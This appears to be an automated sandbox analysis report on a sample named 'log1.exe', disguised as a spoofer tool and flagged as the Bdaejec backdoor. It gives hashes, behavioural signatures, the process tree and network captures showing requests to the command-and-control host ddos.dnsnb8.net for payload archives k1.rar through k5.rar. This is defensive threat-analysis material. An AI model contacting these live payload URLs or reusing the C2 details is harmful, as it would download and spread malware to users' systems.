Analysis

  • max time kernel
    120s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    12/10/2024, 15:46 UTC

General

  • Target

    Spoofer/Remover Logs/log1.exe

  • Size

    107KB

  • MD5

    990683bf20e4c23e92f988992e64b1f2

  • SHA1

    782fa1c9d964b70881a896504c9822ea44aeee0f

  • SHA256

    0b848b847ec52d4037c9a4ccb108fed8b877d93f13f20b089f327f2385043b88

  • SHA512

    389760fa7fe3a7ecaa22cd0082ed58a3ba5bd18c88fe976a64c79b81a7ccdd14d9de48c3a3835eceadfd8f517997159a3208afc6a076f1f5693cf3f4b5ff72eb

  • SSDEEP

    1536:57fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfqwqO08GCq2iW7z:t7DhdC6kzWypvaQ0FxyNTBfqqGCH

Malware Config

Extracted

Family

bdaejec

C2

ddos.dnsnb8.net

Signatures

  • Bdaejec

    Bdaejec is a backdoor written in C++.

  • Detects Bdaejec Backdoor. 1 IoCs

    Bdaejec is backdoor written in C++.

  • ASPack v2.12-2.42 1 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Spoofer\Remover Logs\log1.exe
    "C:\Users\Admin\AppData\Local\Temp\Spoofer\Remover Logs\log1.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2880
    • C:\Users\Admin\AppData\Local\Temp\FOwJYd.exe
      C:\Users\Admin\AppData\Local\Temp\FOwJYd.exe
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2820
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\0f312dd7.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2368
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6114.tmp\6115.tmp\6116.bat "C:\Users\Admin\AppData\Local\Temp\Spoofer\Remover Logs\log1.exe""
      2⤵
        PID:2172

    Network

    • flag-us
      DNS
      ddos.dnsnb8.net
      FOwJYd.exe
      Remote address:
      8.8.8.8:53
      Request
      ddos.dnsnb8.net
      IN A
      Response
      ddos.dnsnb8.net
      IN A
      44.221.84.105
    • flag-us
      DNS
      ddos.dnsnb8.net
      FOwJYd.exe
      Remote address:
      8.8.8.8:53
      Request
      ddos.dnsnb8.net
      IN A
    • flag-us
      GET
      http://ddos.dnsnb8.net:799/cj//k1.rar
      FOwJYd.exe
      Remote address:
      44.221.84.105:799
      Request
      GET /cj//k1.rar HTTP/1.1
      Accept: */*
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
      Host: ddos.dnsnb8.net:799
      Connection: Keep-Alive
    • flag-us
      GET
      http://ddos.dnsnb8.net:799/cj//k2.rar
      FOwJYd.exe
      Remote address:
      44.221.84.105:799
      Request
      GET /cj//k2.rar HTTP/1.1
      Accept: */*
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
      Host: ddos.dnsnb8.net:799
      Connection: Keep-Alive
    • flag-us
      GET
      http://ddos.dnsnb8.net:799/cj//k3.rar
      FOwJYd.exe
      Remote address:
      44.221.84.105:799
      Request
      GET /cj//k3.rar HTTP/1.1
      Accept: */*
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
      Host: ddos.dnsnb8.net:799
      Connection: Keep-Alive
    • flag-us
      GET
      http://ddos.dnsnb8.net:799/cj//k3.rar
      FOwJYd.exe
      Remote address:
      44.221.84.105:799
      Request
      GET /cj//k3.rar HTTP/1.1
      Accept: */*
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
      Host: ddos.dnsnb8.net:799
      Connection: Keep-Alive
    • flag-us
      GET
      http://ddos.dnsnb8.net:799/cj//k3.rar
      FOwJYd.exe
      Remote address:
      44.221.84.105:799
      Request
      GET /cj//k3.rar HTTP/1.1
      Accept: */*
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
      Host: ddos.dnsnb8.net:799
      Connection: Keep-Alive
    • flag-us
      GET
      http://ddos.dnsnb8.net:799/cj//k3.rar
      FOwJYd.exe
      Remote address:
      44.221.84.105:799
      Request
      GET /cj//k3.rar HTTP/1.1
      Accept: */*
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
      Host: ddos.dnsnb8.net:799
      Connection: Keep-Alive
    • flag-us
      GET
      http://ddos.dnsnb8.net:799/cj//k4.rar
      FOwJYd.exe
      Remote address:
      44.221.84.105:799
      Request
      GET /cj//k4.rar HTTP/1.1
      Accept: */*
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
      Host: ddos.dnsnb8.net:799
      Connection: Keep-Alive
    • flag-us
      GET
      http://ddos.dnsnb8.net:799/cj//k4.rar
      FOwJYd.exe
      Remote address:
      44.221.84.105:799
      Request
      GET /cj//k4.rar HTTP/1.1
      Accept: */*
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
      Host: ddos.dnsnb8.net:799
      Connection: Keep-Alive
    • flag-us
      GET
      http://ddos.dnsnb8.net:799/cj//k5.rar
      FOwJYd.exe
      Remote address:
      44.221.84.105:799
      Request
      GET /cj//k5.rar HTTP/1.1
      Accept: */*
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
      Host: ddos.dnsnb8.net:799
      Connection: Keep-Alive
    • 44.221.84.105:799
      http://ddos.dnsnb8.net:799/cj//k1.rar
      http
      FOwJYd.exe
      610 B
      216 B
      6
      5

      HTTP Request

      GET http://ddos.dnsnb8.net:799/cj//k1.rar
    • 44.221.84.105:799
      http://ddos.dnsnb8.net:799/cj//k2.rar
      http
      FOwJYd.exe
      558 B
      216 B
      5
      5

      HTTP Request

      GET http://ddos.dnsnb8.net:799/cj//k2.rar
    • 44.221.84.105:799
      http://ddos.dnsnb8.net:799/cj//k3.rar
      http
      FOwJYd.exe
      466 B
      176 B
      3
      4

      HTTP Request

      GET http://ddos.dnsnb8.net:799/cj//k3.rar
    • 44.221.84.105:799
      http://ddos.dnsnb8.net:799/cj//k3.rar
      http
      FOwJYd.exe
      830 B
      172 B
      4
      4

      HTTP Request

      GET http://ddos.dnsnb8.net:799/cj//k3.rar
    • 44.221.84.105:799
      http://ddos.dnsnb8.net:799/cj//k3.rar
      http
      FOwJYd.exe
      834 B
      176 B
      4
      4

      HTTP Request

      GET http://ddos.dnsnb8.net:799/cj//k3.rar
    • 44.221.84.105:799
      http://ddos.dnsnb8.net:799/cj//k3.rar
      http
      FOwJYd.exe
      610 B
      216 B
      6
      5

      HTTP Request

      GET http://ddos.dnsnb8.net:799/cj//k3.rar
    • 44.221.84.105:799
      http://ddos.dnsnb8.net:799/cj//k4.rar
      http
      FOwJYd.exe
      512 B
      176 B
      4
      4

      HTTP Request

      GET http://ddos.dnsnb8.net:799/cj//k4.rar
    • 44.221.84.105:799
      http://ddos.dnsnb8.net:799/cj//k4.rar
      http
      FOwJYd.exe
      558 B
      256 B
      5
      6

      HTTP Request

      GET http://ddos.dnsnb8.net:799/cj//k4.rar
    • 44.221.84.105:799
      http://ddos.dnsnb8.net:799/cj//k5.rar
      http
      FOwJYd.exe
      466 B
      176 B
      3
      4

      HTTP Request

      GET http://ddos.dnsnb8.net:799/cj//k5.rar
    • 8.8.8.8:53
      ddos.dnsnb8.net
      dns
      FOwJYd.exe
      122 B
      77 B
      2
      1

      DNS Request

      ddos.dnsnb8.net

      DNS Request

      ddos.dnsnb8.net

      DNS Response

      44.221.84.105

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\NT668XG4\k2[1].rar

      Filesize

      4B

      MD5

      d3b07384d113edec49eaa6238ad5ff00

      SHA1

      f1d2d2f924e986ac86fdf7b36c94bcdf32beec15

      SHA256

      b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c

      SHA512

      0cf9180a764aba863a67b6d72f0918bc131c6772642cb2dce5a34f0a702f9470ddc2bf125c12198b1995c233c34b4afd346c54a2334c350a948a51b6e8b4e6b6

    • C:\Users\Admin\AppData\Local\Temp\0f312dd7.bat

      Filesize

      187B

      MD5

      a03d3f56bbe93f91666518cf8829d3ba

      SHA1

      f3007938a0a93b1a07086437d666ce5b97a694b5

      SHA256

      592e0dd871c4c767de55619b691309e65ab6f37606ce81c4e893b9f49a049322

      SHA512

      497a95d512ceea7fcaea0faa24ed83de5e3279207462dda00c13798a606823f32c9ce8392074c93afd388082a4ef2e9deaea40f610caabc05af080c3014eb7a8

    • C:\Users\Admin\AppData\Local\Temp\53194A98.exe

      Filesize

      4B

      MD5

      20879c987e2f9a916e578386d499f629

      SHA1

      c7b33ddcc42361fdb847036fc07e880b81935d5d

      SHA256

      9f2981a7cc4d40a2a409dc895de64253acd819d7c0011c8e80b86fe899464e31

      SHA512

      bcdde1625364dd6dd143b45bdcec8d59cf8982aff33790d390b839f3869e0e815684568b14b555a596d616252aeeaa98dac2e6e551c9095ea11a575ff25ff84f

    • C:\Users\Admin\AppData\Local\Temp\6114.tmp\6115.tmp\6116.bat

      Filesize

      1KB

      MD5

      4fa3f51896539efc4e33072e36982ef2

      SHA1

      32f37a0c2eb87af2dc5e76d8c38d39475f6b4cc7

      SHA256

      faf2a2fa1e21ec5cb05a4ecf7cbd3e469bc79625b3601316fc3786f46c3845a3

      SHA512

      a3589076087fdd52d40b790912d8ed24d25c44311ac819c2deef1cd2eac8b7e243588021addf1fb60b1dea88dabe9d190ad3aa950b0c5c58f0a0362b395eb86e

    • \Users\Admin\AppData\Local\Temp\FOwJYd.exe

      Filesize

      15KB

      MD5

      56b2c3810dba2e939a8bb9fa36d3cf96

      SHA1

      99ee31cd4b0d6a4b62779da36e0eeecdd80589fc

      SHA256

      4354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07

      SHA512

      27812a9a034d7bd2ca73b337ae9e0b6dc79c38cfd1a2c6ac9d125d3cc8fa563c401a40d22155811d5054e5baa8cf8c8e7e03925f25fa856a9ba9dea708d15b4e

    • memory/2820-37-0x0000000000B10000-0x0000000000B19000-memory.dmp

      Filesize

      36KB

    • memory/2880-0-0x0000000000400000-0x000000000041F000-memory.dmp

      Filesize

      124KB

    • memory/2880-4-0x0000000000240000-0x0000000000249000-memory.dmp

      Filesize

      36KB

    • memory/2880-10-0x0000000000240000-0x0000000000249000-memory.dmp

      Filesize

      36KB

    • memory/2880-28-0x0000000000400000-0x000000000041F000-memory.dmp

      Filesize

      124KB

    • memory/2880-55-0x0000000000240000-0x0000000000249000-memory.dmp

      Filesize

      36KB

    • memory/2880-54-0x0000000000240000-0x0000000000249000-memory.dmp

      Filesize

      36KB

    We care about your privacy.

    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.